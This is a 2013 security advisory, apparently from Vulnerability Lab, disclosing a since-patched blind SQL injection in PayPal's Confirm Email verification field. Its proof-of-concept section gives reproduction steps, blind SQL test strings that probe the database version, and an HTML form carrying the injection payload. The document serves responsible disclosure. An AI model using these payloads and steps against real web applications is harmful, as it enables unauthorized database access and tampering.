Title: ====== Paypal Bug Bounty #18 - Blind SQL Injection Vulnerability Date: ===== 2013-01-22 References: =========== http://www.vulnerability-lab.com/get_content.php?id=673 http://news.softpedia.com/news/PayPal-Addresses-Blind-SQL-Injection-Vulnerability-After-Being-Notified-by-Experts-323053.shtml VL-ID: ===== 673 Common Vulnerability Scoring System: ==================================== 8.3 Introduction: ============= PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards. The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account. PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies. On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank. On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010. Between December 4&#241;9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables. (Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal] Abstract: ========= The Vulnerability Laboratory Research Team discovered a critical Web Vulnerability in the official Paypal ecommerce website application. Report-Timeline: ================ 2012-08-01: Researcher Notification & Coordination 2012-08-01: Vendor Notification 2012-08-07: Vendor Response/Feedback #1 2012-08-07: Vendor Response/Feedback #2 2012-12-04: Vendor Response/Feedback #3 2013-01-12: Vendor Fix/Patch 2013-01-22: Public Disclosure Status: ======== Published Affected Products: ================== PayPal Inc Product: Core Application 2012 Q4 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A blind SQL Injection vulnerability is detected in the official Paypal ecommerce website application. The vulnerability allows remote attackers or local low privileged application user account to inject/execute (blind) own sql commands on the affected application dbms. The vulnerability is located in the Confirm Email module with the bound vulnerable id input field. The validation of the confirm number input field is watching all the context since the first valid number matches. The attacker uses a valid number and includes the statement after it to let both pass through the paypal application filter. The result is the successful execution of the sql command when the module is processing to reload the page module. Exploitation of the vulnerability requires a low privileged application user account to access the website area and can processed without user interaction. Successful exploitation of the vulnerability results in web application or module compromise via blind sql injection attack. Vulnerable Service(s): [+] Paypal Inc - Core Application (www.paypal.com) Vulnerable Module(s): [+] Confirm Email Vulnerable Section(s): [+] Confirm Number (Verification) - Input Field Vulnerable Parameter(s): [+] login_confirm_number_id - login_confirm_number Proof of Concept: ================= The blind sql injection vulnerability can be exploited by remote attackers with low privileged application user account and without required user interaction. For demonstration or reproduce ... URL1: Request a Session with 2 different mails (Step1) https://www.paypal.com/de/ece/cn=06021484023174514599&em=admin@vulnerabiliuty-lab.com https://www.paypal.com/de/ece/cn=06021484023174514599&em=01x445@gmail.com URL2: Injection into ID Confirm Field (Step2) https://www.paypal.com/de/cgi-bin/webscr?cmd=_confirm-email-password-submit& dispatch=5885d80a13c0db1f8e263663d3faee8d7283e7f0184a5674430f290db9e9c846 1. Open the website of paypal and login as standard user with a restricted account 2. Switch to the webscr > Confirm Email module of the application 3. Request a login confirm id when processing to load a reset 4. Take the valid confirm number of the mail and insert it into the email confirm number verification module input fields 5. Switch to the last char of the valid confirm number in the input field and inject own sql commands as check to proof the validation Test Strings: -1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1' -1'+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1--1' 1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1 1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=-1' 6. Normally the website with the generated ID confirm button is bound to the standard template. 7. Inject substrings with the id -1+sql-query to proof for blind injections in the input field 8. The bottom bar gets loaded as result for the successful executed sql query 8. Now, the remote attacker can manipulate the paypal core database with a valid confirm number + his own sql commands Bug Type: Blind SQL INJECTION [POST] Injection Vulnerability SESSION: DE - 22:50 -23:15 (paypal.com) Browser: Mozilla Firefox 14.01 PoC: <form method="post" action="https://www.paypal.com/de/cgi-bin/webscr?cmd=_confirm-email-submit& dispatch=5885d80a13c0db1f8e263663d3faee8d7283e7f0184a5674430f290db9e9c846" class=""> <p class="group"><label for="login_confirm_number_id"><span class="labelText"><span class="error"> Please enter it here</span></span></label><span class="field"><input id="login_confirm_number_id" class="xlarge" name="login_confirm_number" value="06021484023174514599-1+[BLIND SQL-INJECTION!]--" type="text"></span></p><p class="buttons"> <input name="confirm.x" value="Confirm" class="button primary" type="submit"></p><input name="form_charset" value="UTF-8" type="hidden"></form> Note: Do all requests ever with id to reproduce the issue. (-) is not possible as first char of the input request. Example(Wrong): -1+[SQL-Injection]&06021484023183514599 Example(Right): 06021484023183514599-1+[SQL-Injection]-- Example(Right): 06021484023183514599-1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1'-1'-- Test Mail(s): [+] 01x221@gmail.com and admin@vulnerability-lab.com Note: After inject was successful 2 times because of my check, the paypal website opened a security issue report message box as exception-handling. I included the details and information of my test and explained the issue and short time later it has been patched. Solution: ========= 2013-01-12: Vendor Fix/Patch Risk: ===== The security risk of the blind sql injection web vulnerability in the paypal core application is estimated as critical. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. 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